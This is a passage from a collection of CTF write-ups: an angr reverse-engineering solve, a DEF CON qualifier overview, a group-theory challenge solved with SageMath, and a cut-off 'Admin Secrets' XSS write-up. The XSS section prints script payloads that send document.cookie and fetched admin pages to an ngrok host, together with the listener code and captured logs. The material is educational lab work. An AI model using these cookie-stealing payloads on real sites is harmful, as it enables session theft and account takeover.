If it is correct, it prints a robot and `Well done, ...`, otherwise it prints the robot and `3Z Z3 z3 zz3 3zz33`.
What about the `check_flag` function?
```cundefined8 check_flag(byte *param_1){ undefined8 uVar1; byte bVar2; if (((((((((((param_1[0x14] ^ 0x2b) == param_1[7]) && ((int)(char)param_1[0x15] - (int)(char)param_1[3] == -0x14)) && ((char)param_1[2] >> 6 == '\0')) && ((param_1[0xd] == 0x74 && (((int)(char)param_1[0xb] & 0x3fffffffU) == 0x5f)))) && ((bVar2 = (byte)((char)param_1[0x11] >> 7) >> 5, (int)(char)param_1[7] >> ((param_1[0x11] + bVar2 & 7) - bVar2 & 0x1f) == 5 && (((param_1[6] ^ 0x53) == param_1[0xe] && (param_1[8] == 0x7a)))))) && ((bVar2 = (byte)((char)param_1[9] >> 7) >> 5, (int)(char)param_1[5] << ((param_1[9] + bVar2 & 7) - bVar2 & 0x1f) == 0x188 && (((((int)(char)param_1[0x10] - (int)(char)param_1[7] == 0x14 && (bVar2 = (byte)((char)param_1[0x17] >> 7) >> 5, (int)(char)param_1[7] << ((param_1[0x17] + bVar2 & 7) - bVar2 & 0x1f) == 0xbe)) && ((int)(char)param_1[2] - (int)(char)param_1[7] == -0x2b)) && (((param_1[0x15] == 0x5f && ((param_1[2] ^ 0x47) == param_1[3])) && ((*param_1 == 99 && ((param_1[0xd] == 0x74 && ((param_1[0x14] & 0x45) ==0x44))))))))))) ) && ((param_1[8] & 0x15) == 0x10)) && (((param_1[0xc] == 0x5f && ((char)param_1[4] >> 4 == '\a')) && (param_1[0xd] == 0x74)))) && (((((bVar2 = (byte)((char)*param_1 >> 7) >> 5, (int)(char)*param_1 >> ((*param_1 + bVar2 & 7) - bVar2 & 0x1f) == 0xc && (param_1[10] == 0x5f)) && ((((int)(char)param_1[8] & 0xacU) == 0x28 && ((param_1[0x10] == 0x73 && ((param_1[0x16] & 0x1d) == 0x18)))))) && ((param_1[9] == 0x33 && ((((param_1[5] == 0x31 && (((int)(char)param_1[0x13] & 0x3fffffffU) == 0x72)) && ((char)param_1[0x14] >> 6 == '\x01')) && (((char)param_1[7] >> 1 == '/' && (param_1[1] == 0x6c)))))))) && (((((((char)param_1[3] >> 4 == '\a' && (((param_1[0x13] & 0x49) == 0x40 && (param_1[4] == 0x73)))) && ((param_1[0xb] & param_1[2]) == 0x14)) && (((((*param_1 == 99 && ((int)(char)param_1[5] + (int)(char)param_1[4] == 0xa4)) && (((int)(char)param_1[0xf] & 0x3ffffffU) == 0x5f)) && ((((param_1[10] ^ 0x2b) == param_1[0x11] && ((param_1[0xc] ^ 0x2c) == param_1[4])) && (((int)(char)param_1[0x13] - (int)(char)param_1[0x15] == 0x13 && ((param_1[0xc] == 0x5f && (param_1[0xc] == 0x5f)))))))) && ((char)param_1[0xf] >> 1 == '/')))) && (((param_1[0x13] == 0x72 && ((int)(char)param_1[0x12] + (int)(char)param_1[0x11] ==0xa8)) && (param_1[0x16] == 0x3a)))) && (((param_1[0x15] & param_1[0x17]) == 9 && (bVar2 = (byte)((char)param_1[0x13] >> 7) >> 5, (int)(char)param_1[6] << ((param_1[0x13] + bVar2 & 7) - bVar2 & 0x1f) == 0x18c)))))))) && (((((((int)(char)param_1[7] + (int)(char)param_1[3] == 0xd2 && ((((int)(char)param_1[0x16] & 0xedU) == 0x28 && (((int)(char)param_1[0xc] & 0xacU) ==0xc) ))) && ((param_1[0x12] ^ 0x6b) == param_1[0xf])) && ((((((((param_1[0x10] & 0x7a) == 0x72 && ((*param_1 & 0x39) == 0x21)) && ((param_1[6] ^ 0x3c) == param_1[0x15])) && ((param_1[0x14] == 0x74 && (param_1[0x13] == 0x72)))) && (param_1[0xc] == 0x5f)) && (((param_1[2] == 0x34 && (param_1[0x17] == 0x29)) && ((param_1[10] == 0x5f && ((((param_1[9] & param_1[0x16]) == 0x32 && ((int)(char)param_1[2] + (int)(char)param_1[3] == 0xa7)) && ((int)(char)param_1[0x11] - (int)(char)param_1[0xe] == 0x44)))))))) && (((param_1[0x15] == 0x5f && ((param_1[0x13] ^ 0x2d) == param_1[10])) && ((((int)(char)param_1[0xc] & 0x3fffffffU) == 0x5f && (((((param_1[6] & 0x40) != 0 && ((param_1[0x16] & param_1[0xc]) == 0x1a)) && ((bVar2 = (byte)((char)param_1[0x13] >> 7) >> 5, (int)(char)param_1[7] << ((param_1[0x13] + bVar2 & 7) - bVar2 & 0x1f) == 0x17c && ((((param_1[0x14] ^ 0x4e) == param_1[0x16] && (param_1[6] == 99)) && (param_1[0xc] == param_1[7])))))) && (((int)(char)param_1[0x13] - (int)(char)param_1[0xd] == -2 && ((char)param_1[0xe] >> 4 == '\x03')))))))))))) && (((param_1[0xc] & 0x38) == 0x18 && (((bVar2 = (byte)((char)param_1[10] >> 7) >> 5, (int)(char)param_1[8] << ((param_1[10] + bVar2 & 7) - bVar2 & 0x1f) == 0x3d00 && (param_1[0x14] == 0x74)) && ((bVar2 = (byte)((char)param_1[0x16] >> 7) >> 5, (int)(char)param_1[6] >> ((param_1[0x16] + bVar2 & 7) - bVar2 & 0x1f) == 0x18 && (((((int)(char)param_1[0x16] - (int)(char)param_1[5] == 9 && (bVar2 = (byte)((char)param_1[0x16] >> 7) >> 5, (int)(char)param_1[7] << ((param_1[0x16] + bVar2 & 7) - bVar2 & 0x1f) == 0x17c)) && (param_1[0x16] == 0x3a)) && ((param_1[0x10] == 0x73 && ((param_1[0x17] ^ 0x1d) == param_1[0x12])))))))))))) && ((((int)(char)param_1[0xe] + (int)(char)param_1[0x17] == 0x59 && (((param_1[2] & param_1[5]) == 0x30 && (((int)(char)param_1[0xf] & 0x9fU) == 0x1f)))) && ((param_1[4] == 0x73 && (((param_1[0x17] ^ 0x4a) == *param_1 && ((param_1[6] ^ 0x3c) == param_1[0xb])))))))))) { uVar1 = 1; } else { uVar1 = 0; } return uVar1;}```
This one is really messy, there are a bunch of checks, if they are all true the function returns 1 and 0 otherwise.
No way I'm trying to reverse thoses checks by hand!
## Solution
The challenge description hints for using [Z3](https://github.com/Z3Prover/z3) which is an SMT solver (it solves satisfiability problems). This is exactly what we need here, however it is quite cumbersome to transform the C program into something readable for Z3. Instead I'm using [Angr](https://angr.io/) symbolic execution feature, which is also based on Z3.
Using gdb, I retrieve the addresses of `main`, of the success and of the failure instructions.
```pythonimport angr
proj = angr.Project('./z3_robot')
state = proj.factory.blank_state(addr=0x401337) # Address of maingood = 0x401329 # Address of print flagbad = 0x401330 # Address of print failuresimgr = proj.factory.simgr(state)print(simgr)print(simgr.active)print(simgr.explore(find=good,avoid=bad))s = simgr.found[0]print(s.posix.dumps(1))
result = s.posix.dumps(0)print(result)```
Flag: `shkCTF{cl4ss1c_z3___t0_st4rt_:)}` |
Last weekend we participated Defcon CTF 2020 Qualifier and got 9th place finally, my teammates tql. With some help from my teammates, I solved 2 challenges, cursed and blursed. These 2 challenges are quite interesting, so here is my write-up for it. :)
The binary file for these 2 challenges are exactly identical. In the binary, a blake2b proof of work is required first. Then clone function is called to initiate a new thread. In new thread, flag is read into stack, and bozo.bin is mapped into memory as executable code and is then executed. bozo.bin will remove flag in memory at beginning but will load it into xmm registers, and some operations are performed on xmm registers. Such operations enable us to use side-channel attack to leak the contents in xmm registers. While in main thread, 0x1000 bytes are read into memory, and then seccomp is enabled, finally our input is executed as shellcode. |
**Warning: group theory ahead.** You may find it useful to skim Chapter 1 of [https://venhance.github.io/napkin/Napkin.pdf](https://venhance.github.io/napkin/Napkin.pdf) (pp 41-52) before reading.
## Problem Statement
Upon accessing the server and bypassing the MD5 hash check
```MD5 for 3b4urk4e0gvVtZXdRwGaWm0jZYytvTRS if you may!2b0e5128503834314bdce94132cbd7d1```
we're presented with the following text:
```The goal of this challenge consists in retrieving the intersection of the generated sets related by the provided operation in the given tableInput: p : dimension of the table line of p element: the header of the table p lines of p elements: the operation in table form n: number of elements of first set n lines of strings (each line is an element of the set) m: number of elements of second set m lines of strings (each line is an element of the set)
The operation defines the sets, meaning you can create new elements of the set by combining themwith this operation.Be careful. The table might be a bit messy, use the line of p elements to help you.
Consider the strings as arrays and apply the operation from the table elementwise to crate new elements
The intersection is defined as the elements shared between the two sets
Provide the answer as emojis separated by spaces for 15 times to get the flag.```## ObservationsNow how do we make sense of this?
### The group GSo for this test case, we're given an operation table, delightfully obfuscated by way of emojis.

We're told that `The operation is given by table[i][j] = header[i] OP header[j]` -- so we're essentially dealing with the following operation table:

where the top row and leftmost column are the `header`.
Now we make a few observations:- Each emoji appears exactly once in each row and exactly once in each column of the grid, ignoring the headers (i.e. the grid is a Latin square).- There is exactly one row and exactly one column that match exactly the elements in the header (i.e. there is an 'identity' emoji).
So wishful thinking would seem to suggest that this operation table might be a group... let's just assume associativity holds. Let this group be $G$.
### Intersections of subgroupsNow what are we actually doing with this group? Well, we're told the following:
```For each couple of arrays A, B the resulting array is C[i] = A[i] OP B[i]. From a given set of arrays you must repeatedly apply the operation and add the result to the set.```Let's take a look at the sets we've been given.

Now each element in the sets $a$ and $b$ is a tuple of 18 elements in $G$ -- each element is a member of the _product group_ $(G\times G\times G...\times\, G, \cdot)$ (in dubious notation this is $G^{18}$), whose group operation is as follows:$$(a_1, a_2,\,...\,a_{18}) \cdot (b_1, b_2,\,...\,b_{18}) = (a_1\cdot b_1, a_2\cdot b_2,\,...\,a_{18}\cdot b_{18}) \in G^{18}$$
We're told that we want the `intersection of the generated sets` -- in other words, we want the intersection of the subgroup generated by $a$, $\langle a \rangle$, and the subgroup generated by $b$, $\langle b \rangle$.
Our first thought might be to attack the problem with brute force -- i.e. naively generate all elements in $\langle a \rangle$ and all elements in $\langle b \rangle$, à la [https://math.stackexchange.com/questions/1758649/an-algorithm-to-find-a-subgroup-generated-by-a-subset-of-a-finite-group](https://math.stackexchange.com/questions/1758649/an-algorithm-to-find-a-subgroup-generated-by-a-subset-of-a-finite-group).
There's a little problem, though... as $\left|G\right|=11$, $\left|G^{18}\right|=11^{18}\approx 6\times 10^{18}$... so our generated subgroups could be a little on the large side.
But we can make another observation... if we connect to the server a few times and stare at the groups really carefully, we might notice that all the sizes of groups seem to be prime -- in other words, by Lagrange's theorem, $G$ is simply the cyclic group of order $n$ ($\mathbb{Z}/n\mathbb{Z}$), otherwise known as 'the natural numbers modulo $n$'.
## Reinterpreting the problemLet's relabel the elements in $G$ and finally get rid of those annoying emoji...

We first find the identity element:```pythonmapping = [-1 for _ in range(len(ops))]identity = table.index(ops)mapping[identity]=0```
Then without loss of generality we can map the first non-identity element to 1:```pythononeel = 0 if identity != 0 else 1mapping[oneel]=1```
Now notice that (as there is a bijection between the cyclic group of order $n$ and the natural numbers modulo $n$), if $a\to 1$ for some $a\in G$, then $a\cdot a\to 1+1=2$ ... and so $a^n\to n$. So we can relabel our elements as follows:

Let's relabel our sets $a$ and $b$ as well:
```pythondef getVal(emoj): return mapping[ops.index(emoj)]
opsnum = [getVal(x) for x in ops]tabnum = [[getVal(x) for x in y] for y in table]setanum = [[getVal(x) for x in y] for y in seta]setbnum = [[getVal(x) for x in y] for y in setb]```
Our set $a$ is now as follows:```[[4, 6, 5, 10, 8, 6, 6, 4, 8, 0, 4, 9, 1, 6, 6, 1, 6, 4], [1, 8, 0, 3, 4, 10, 8, 7, 9, 6, 9, 4, 6, 6, 3, 1, 6, 10], [5, 8, 7, 9, 6, 1, 6, 2, 7, 0, 5, 5, 0, 4, 8, 1, 5, 7], [3, 10, 3, 5, 9, 5, 3, 6, 9, 5, 4, 5, 5, 3, 5, 1, 2, 4], [10, 8, 3, 7, 5, 8, 1, 5, 6, 8, 10, 6, 8, 7, 6, 2, 9, 9], [9, 5, 2, 1, 1, 9, 9, 7, 10, 8, 7, 10, 8, 5, 4, 2, 8, 4], [10, 7, 5, 9, 10, 2, 3, 1, 5, 7, 4, 0, 10, 2, 5, 1, 1, 4], [2, 3, 9, 4, 10, 0, 4, 6, 5, 8, 3, 7, 7, 3, 10, 4, 5, 1], [1, 8, 8, 3, 10, 4, 9, 1, 6, 1, 7, 9, 7, 0, 6, 5, 8, 0], [2, 6, 1, 2, 6, 9, 10, 4, 6, 8, 8, 10, 0, 5, 2, 1, 1, 3], [2, 1, 0, 0, 4, 1, 2, 1, 7, 1, 1, 0, 9, 10, 8, 10, 3, 9], [1, 6, 7, 1, 10, 2, 7, 3, 5, 2, 6, 5, 8, 6, 3, 0, 8, 2], [6, 8, 10, 7, 9, 7, 9, 2, 3, 5, 4, 4, 10, 2, 8, 5, 2, 9], [1, 10, 8, 8, 2, 1, 1, 9, 4, 0, 2, 3, 3, 8, 6, 3, 4, 1], [8, 9, 6, 1, 7, 5, 2, 2, 8, 5, 4, 10, 3, 6, 10, 6, 6, 6], [9, 4, 1, 6, 5, 10, 6, 8, 1, 2, 0, 1, 10, 10, 3, 1, 5, 7], [10, 3, 4, 2, 3, 1, 3, 10, 3, 10, 8, 7, 3, 4, 5, 6, 10, 1], [0, 9, 0, 5, 6, 4, 5, 3, 1, 2, 9, 3, 2, 2, 3, 5, 10, 0], [1, 4, 4, 0, 10, 1, 8, 4, 8, 7, 0, 9, 5, 4, 6, 9, 10, 3], [1, 9, 7, 2, 10, 2, 10, 6, 5, 6, 8, 8, 3, 0, 5, 10, 1, 8]]```and our set $b$ is ```[[10, 0, 6, 1, 1, 2, 3, 4, 1, 8, 10, 0, 5, 4, 6, 0, 8, 7], [3, 9, 6, 6, 0, 0, 1, 4, 2, 8, 1, 4, 7, 2, 3, 9, 1, 9], [10, 7, 4, 6, 9, 0, 9, 6, 8, 9, 10, 5, 1, 10, 7, 3, 3, 9], [1, 1, 2, 3, 6, 5, 1, 5, 6, 7, 6, 6, 1, 7, 7, 2, 4, 3], [3, 3, 10, 9, 10, 1, 5, 3, 10, 0, 2, 7, 7, 10, 4, 2, 1, 5], [7, 9, 8, 8, 3, 9, 6, 5, 7, 2, 4, 10, 0, 3, 0, 8, 4, 3], [8, 4, 5, 6, 3, 2, 0, 4, 10, 5, 8, 3, 0, 1, 0, 5, 0, 1], [10, 3, 10, 7, 5, 3, 0, 1, 2, 10, 1, 7, 10, 2, 8, 7, 9, 0], [1, 6, 2, 10, 8, 8, 0, 6, 9, 3, 8, 0, 2, 3, 7, 5, 6, 7], [0, 6, 0, 2, 0, 2, 3, 5, 10, 8, 8, 6, 5, 8, 0, 1, 9, 9], [4, 6, 8, 4, 10, 9, 2, 1, 1, 0, 0, 6, 4, 3, 8, 9, 2, 1], [1, 7, 9, 3, 2, 6, 9, 1, 1, 1, 9, 3, 2, 8, 1, 3, 9, 1], [9, 7, 3, 10, 4, 1, 8, 5, 5, 8, 0, 4, 10, 8, 5, 1, 2, 0], [6, 7, 10, 0, 5, 9, 0, 1, 2, 5, 7, 10, 1, 3, 3, 4, 0, 7], [1, 8, 3, 6, 6, 8, 8, 1, 2, 6, 3, 10, 8, 1, 10, 6, 0, 4], [1, 4, 1, 8, 6, 4, 1, 8, 3, 10, 5, 2, 9, 8, 8, 9, 7, 5], [0, 8, 9, 0, 8, 6, 2, 2, 9, 8, 7, 6, 0, 3, 3, 7, 9, 10], [8, 7, 9, 10, 9, 8, 7, 3, 3, 9, 4, 10, 9, 7, 9, 4, 1, 5], [3, 2, 5, 2, 6, 10, 4, 9, 10, 1, 9, 1, 3, 10, 4, 1, 6, 1], [5, 0, 3, 4, 7, 1, 1, 8, 3, 0, 9, 3, 2, 2, 4, 5, 0, 3]]```
Notice that the group operation on $G^{18}$ now becomes _element-wise addition_: in other words $$(10, 0, 6, 1,\, ...,\, 8, 7) \cdot (3, 9, 6, 6,\, ...,\, 1, 9)\\\\ = (10+3, 0+9, 6+6, 1+6,\, ...,\, 8+1, 7+9)$$
This makes life a lot easier... so all possible elements in the subgroup $\langle a\rangle$ are simply linear combinations of $a_0,\,a_1,\,...\,a_{19}$ (where $a_i$ denotes the $i$th element in the set $a$, using the ordering given in the array above... notationally dubious, I know), and likewise for $\langle b\rangle$.
Let's be a little more precise about what we want to find now. Any element in the generated subgroup $\langle a \rangle$ can be represented as $a_0^{p_0}a_1^{p_1}...a_{19}^{p_{19}}$, and likewise any element in $\langle b \rangle$ can be represented as $b_0^{q_0}b_1^{q_1}...b_{19}^{q_{19}}$ for some $p_i, q_i \in \mathbb{N}$ (notice that order doesn't matter as addition is commutative / the cyclic group is abelian).
This is equivalent to saying that any element in $\langle a \rangle$ can be represented as $p_0\mathbf{a_0} + p_1\mathbf{a_1} + ... + p_{19}\mathbf{a_{19}}$, and any element in $\langle b \rangle$ can be represented as $q_0\mathbf{b_0} + q_1\mathbf{b_1} + ... + q_{19}\mathbf{b_{19}}$, if we treat $\mathbf{a_i}$ and $\mathbf{b_i}$ as vectors.
So we want to find suitable values of $p_i$ and $q_i$ such that $$p_0\mathbf{a_0} + p_1\mathbf{a_1} + ... + p_{19}\mathbf{a_{19}} = q_0\mathbf{b_0} + q_1\mathbf{b_1} + ... + q_{19}\mathbf{b_{19}} \mod |G|$$ or in other words $$p_0\mathbf{a_0} + p_1\mathbf{a_1} + ... + p_{19}\mathbf{a_{19}} - q_0\mathbf{b_0} - q_1\mathbf{b_1} - ... - q_{19}\mathbf{b_{19}} = \mathbf{0} \mod 11$$## Linear AlgebraSo now our problem turns into one of linear algebra. We have the following simultaneous equations we want to solve:
$$\begin{aligned}p_0a_{0,0} + p_1a_{1,0} \,+\,...\,+\, p_{19}a_{19,0} - q_0b_{0,0}- q_1b_{1,0} \,-\, ... \,-\, q_{19}b_{19,0} &= 0 \mod 11\\\\p_0a_{0,1} + p_1a_{1,1} \,+\,...\,+\, p_{19}a_{19,1} - q_0b_{0,1}- q_1b_{1,1} \,-\, ... \,-\, q_{19}b_{19,1} &= 0 \mod 11\\\\...\\\\p_0a_{0,10} + p_1a_{1,10} \,+\,...\,+\, p_{19}a_{19,10} - q_0b_{0,10}- q_1b_{1,10} \,-\, ... \,-\, q_{19}b_{19,10} &= 0 \mod 11\\\\\end{aligned}$$
Alternatively, we can write this as a matrix-vector multiplication:$$\begin{bmatrix} a_{0,0} & ... & a_{19,0} & -b_{0,0} & ... & -b_{19,0} \\\\ ... & & ... & ... & & ... \\\\ a_{0,10} & ... & a_{19,10} & -b_{0,10} & ... & -b_{19,10} \\\\\end{bmatrix}\begin{pmatrix} p_0\\\\...\\\\p_{19}\\\\q_0\\\\...\\\\q_{19}\\\\\end{pmatrix}=\begin{pmatrix} 0\\\\...\\\\0\\\\0\\\\...\\\\0\\\\\end{pmatrix}\mod 11$$
A slight issue is that this equation has multiple solutions (a trivial solution being to set all the coefficients to 0).
At this point we note that the question says `If multiple answers are possible, send the one beginning with chr(128514)` -- in other words, we need to add another condition such that the first element of $p_0\mathbf{a_0} + p_1\mathbf{a_1} + ... + p_{19}\mathbf{a_{19}}$ is equal to $x$, where $x$ is the natural number we mapped the element `chr(128514)` to. More precisely, we want $$p_0a_{0,0} + p_1a_{1,0} + ... + p_{19}a_{19,0}=x$$
So let's add this as another equation to our matrix:
$$\begin{bmatrix} a_{0,0} & ... & a_{19,0} & 0 & ... & 0 \\\\ a_{0,0} & ... & a_{19,0} & -b_{0,0} & ... & -b_{19,0} \\\\ ... & & ... & ... & & ... \\\\ a_{0,10} & ... & a_{19,10} & -b_{0,10} & ... & -b_{19,10} \\\\\end{bmatrix}\begin{pmatrix} p_0\\\\...\\\\p_{19}\\\\q_0\\\\...\\\\q_{19}\\\\\end{pmatrix}=\begin{pmatrix} x\\\\0\\\\...\\\\0\\\\0\\\\...\\\\0\\\\\end{pmatrix}\mod 11$$
Now we just need to generate the matrix and solve for $p_i$ and $q_i$.
The first part can be done with some Python:
```pythondef transpose(m): return [[m[j][i] for j in range(len(m))] for i in range(len(m[0]))] setanumt = transpose(setanum)setbnumt = transpose(setbnum)mat = [setanumt[0]+[0 for _ in range(len(setanumt[0]))]]+[setanumt[i]+list(map(lambda x:-x,setbnumt[i])) for i in range(len(setanumt))]vec = [x]+[0 for _ in range(len(mat)-1)]```
To actually solve the simultaneous equations, we open ~~our grimoire of dark arts and arcane magicks~~ SageMath. After some Googling I came across [https://ask.sagemath.org/question/37146/solving-modular-systems-of-equation/](https://ask.sagemath.org/question/37146/solving-modular-systems-of-equation/), which gave me the following:
```pythonA = Matrix(GF(11), mat)b = Matrix(GF(11), vec).transpose()v0 = A.solve_right(b) # p0...p19,q0...q19vals = v0[:len(setanum)] # just p0...p19print(vals)# [10][ 6][ 6][ 6][ 8][ 9][ 8][ 9][ 1][ 9][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0]```
where `vals` contains our coefficients $p_0,\,...\, p_{19}$.
Now all that needs to be done is reverse the $emoji\to \mathbb{N}$ bijection to recover our answer:

## SolutionStringing this all together, we get the following:
```pythonimport socketimport stringimport hashlib
def readln(sock): r=b"" while True: c = sock.recv(1) if c != b'\n': r += c else: break return r
clientsocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)clientsocket.connect(('challs.m0lecon.it', 10002))received = clientsocket.recv(4096)clientsocket.send((hashlib.md5(received.decode().split("\n")[0].split(" ")[2].encode('utf-8')).hexdigest()+"\n").encode())for i in range(21): received = readln(clientsocket)while True: num = int(readln(clientsocket)) table = [] seta = [] setb = [] ops = readln(clientsocket).decode("utf-8").split(" ") readln(clientsocket) for i in range(num): table.append(readln(clientsocket).decode("utf-8").split(" ")) anum = int(readln(clientsocket)) for i in range(anum): seta.append(readln(clientsocket).decode("utf-8").split(" ")) bnum = int(readln(clientsocket)) for i in range(bnum): setb.append(readln(clientsocket).decode("utf-8").split(" ")) mapping = [-1 for _ in range(len(ops))] n=len(ops) identity = table.index(ops) mapping[identity]=0 if identity==0: oneel = 1 else: oneel = 0 mapping[oneel]=1 curr = oneel num = 1 while num<len(ops)-1: num+=1 curr = ops.index(table[oneel][curr]) mapping[curr]=num def getVal(emoj): return mapping[ops.index(emoj)] opsnum = [getVal(x) for x in ops] tabnum = [[getVal(x) for x in y] for y in table] setanum = [[getVal(x) for x in y] for y in seta] setbnum = [[getVal(x) for x in y] for y in setb] def transpose(m): return [[m[j][i] for j in range(len(m))] for i in range(len(m[0]))] setanumt = transpose(setanum) setbnumt = transpose(setbnum) x = mapping[ops.index(chr(128514))] mat = [setanumt[0]+[0 for _ in range(len(setanumt[0]))]]+[setanumt[i]+list(map(lambda x:-x,setbnumt[i])) for i in range(len(setanumt))] vec = [x]+[0 for _ in range(len(mat)-1)] A = Matrix(GF(n), mat) b = Matrix(GF(n), vec).transpose() v0 = A.solve_right(b) vals = v0[:len(setanum)] ans=" ".join(ops[mapping.index(sum(vals[i][0]*setanum[i][j] for i in range(len(setanum)))%n)] for j in range(len(setanum[0]))) clientsocket.send((ans+"\n").encode()) print(readln(clientsocket).decode("utf-8"))```
Plugging this into [https://sagecell.sagemath.org/](https://sagecell.sagemath.org/) gives us the following:```CorrectCorrectCorrectCorrectCorrectCorrectCorrectCorrectCorrectCorrectCorrectCorrectCorrectCorrectCorrect---------------------------------------------------------------------------ValueError Traceback (most recent call last)<ipython-input-1> in <module>() 20 received = readln(clientsocket) 21 while True:---> 22 num = int(readln(clientsocket)) 23 table = [] 24 seta = []
ValueError: invalid literal for int() with base 10: b'ptm{V3ct0r_m4th_w1th_3m0ji1_i5_fun}'```and we're done :) |
### Challenge```Admin Secrets
See if you can get the flag from the admin at this website!```
### Recon* The Website has a - registration page - login page - page for creating posts - view list of posts - check separate posts --> REPORT TO ADMIN
* (Thinking about admin auth from the question) A little glance of the AUTHENTICATION and stuff had not much strength with cookies and everything.
* BUT one easy low hanging fruit to reach ADMIN here is to REPORT POST TO ADMIN
* The POSTS text box is also XSS vulnerable. Easy XSS payloads do work
### SETUP * Set a local web server with GET and POST and print out the PATH, HEADERS, BODY```import SimpleHTTPServerimport SocketServerimport urllibclass myHandler(SimpleHTTPServer.SimpleHTTPRequestHandler): def do_GET(self): print("--"*25) print(self.path) print(urllib.unquote(self.path)) print(self.headers) print(self.address_string()) self.send_response(301) new_path = '%s%s'%('http://127.0.0.1:1337/flag', self.path) self.send_header('Location', new_path) self.end_headers()
def do_POST(self): content_length = int(self.headers['Content-Length']) # <--- Gets the size of data post_data = self.rfile.read(content_length) # <--- Gets the data itself #logging.info("POST request,\nPath: %s\nHeaders:\n%s\n\nBody:\n%s\n", # str(self.path), str(self.headers), post_data.decode('utf-8')) print(self.path) print(self.headers) print(post_data.decode('utf-8')) self._set_response() self.wfile.write("POST request for {}".format(self.path).encode('utf-8'))
PORT = 8000handler = SocketServer.TCPServer(("", PORT), myHandler)print("serving at port 8000")handler.serve_forever()```
### Solve
1. Try running a local server exposed via ngrok. XSS Payload with FETCH to check if it gets executed in ADMINs context and reaches back to us
```<script>fetch("https://e96f25fb.ngrok.io/?c=".concat(document.cookie), {inclide: 'credentials'})</script>``` - Output```--------------------------------------------------/?c=hint=%22Check%20the%20admin%20console!\012%22/?c=hint="Check the admin console!\012"Host: e96f25fb.ngrok.ioUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/83.0.4103.61 Safari/537.36Accept: */*Origin: http://127.0.0.1:1337Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: http://127.0.0.1:1337/posts/vLf1vIVaAG%21ThVlBAccept-Encoding: gzip, deflate, brAccept-Language: en-USX-Forwarded-Proto: httpsX-Forwarded-For: 3.83.190.219
1.0.0.127.in-addr.arpa127.0.0.1 - - [24/May/2020 23:22:21] "GET /?c=hint=%22Check%20the%20admin%20console!\012%22 HTTP/1.1" 301 -```- Now we know that the admin_console runs in the local host `127.0.0.1:1337`. We can redirect and check the admin console page. There is a HINT in the cooke to check the admin console
2. One other thing to observe in the SOURCE CODE of the posts page. We can see this, one of the CSS CLASS is only visible to ADMINS. ``` <div class="row"> <div class="col-8 admin_console" > </div> </div>```
- Trying to get all the HEADERS and HTML of the page seen by ADMINHEADERS payload```<script>fetch("http://127.0.0.1:1337").then(function(response){var headers="";for (let [key, value] of response.headers) {headers+="/"+key+value+"/"} fetch("https://b7f9caa8.ngrok.io/?c=".concat(headers),{credentials:'include'})})</script>``````/?c=/connectionclose//content-length3505//content-typetext/html;%20charset=utf-8//dateMon,%2025%20May%202020%2006:49:57%20GMT//servergunicorn/20.0.4//?c=/connectionclose//content-length3505//content-typetext/html; charset=utf-8//dateMon, 25 May 2020 06:49:57 GMT//servergunicorn/20.0.4/Host: e96f25fb.ngrok.ioUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/83.0.4103.61 Safari/537.36Accept: */*Origin: http://127.0.0.1:1337Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: http://127.0.0.1:1337/posts/U5dV5VfnoTVOEcw6Accept-Encoding: gzip, deflate, brAccept-Language: en-USX-Forwarded-Proto: httpsX-Forwarded-For: 3.83.190.219
1.0.0.127.in-addr.arpa127.0.0.1 - - [24/May/2020 23:49:57] "GET /?c=/connectionclose//content-length3505//content-typetext/html;%20charset=utf-8//dateMon,%2025%20May%202020%2006:49:57%20GMT//servergunicorn/20.0.4/ HTTP/1.1" 301 -```
HTML BODY PAYLOAD in GET ( mistook the output and it came chuncked. Spent a few hours figuring things out )```<script>fetch("http://127.0.0.1:1337/posts/xjrZleP%245R90h88N").then(function(response){response.text().then(function (text) {return fetch("https://e96f25fb.ngrok.io/?c=".concat(text),{credentials:'include'})})});</script>```Output```/?c=%3C!doctype%20html%3E%3Chtml%3E%20%20%20%20%3Chead%3E%20%20%20%20%20%20%20%20%3Cmeta%20charset=%22utf-8%22%3E%20%20%20%20%20%20%20%20%3Cmeta%20name=%22viewport%22%20content=%22width=device-width,%20initial-scale=1,%20shrink-to-fit=no%22%3E%20%20%20%20%20%20%20%20%3Ctitle%3ETextbin%3C/title%3E%20%20%20%20%20%20%20%20%3Clink%20rel=%22stylesheet%22%20href=%22https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css%22%20integrity=%22sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T%22%20crossorigin=%22anonymous%22%3E%20%20%20%20%20%20%20%20%3Clink%20rel=%22stylesheet%22%20href=%22/static/css/style.css%22%3E%20%20%20%20%3C/head%3E%20%20%20%20%3Cbody%3E%20%20%20%20%20%20%20%20%3Cnav%20class=%22navbar%20navbar-expand-lg%20navbar-light%20bg-light%22%3E%20%20%20%20%20%20%20%20%20%20%3Cbutton%20class=%22navbar-toggler%22%20type=%22button%22%20data-toggle=%22collapse%22%20data-target=%22/?c=<html> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <title>Textbin</title> <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous"> <link rel="stylesheet" href="/static/css/style.css"> </head> <body> <nav class="navbar navbar-expand-lg navbar-light bg-light"> <button class="navbar-toggler" type="button" data-toggle="collapse" data-target="Host: e96f25fb.ngrok.ioUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/83.0.4103.61 Safari/537.36Accept: */*Origin: http://127.0.0.1:1337Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: http://127.0.0.1:1337/posts/2RiNxcjPu3MRi5xyAccept-Encoding: gzip, deflate, brAccept-Language: en-USX-Forwarded-Proto: httpsX-Forwarded-For: 3.83.190.219
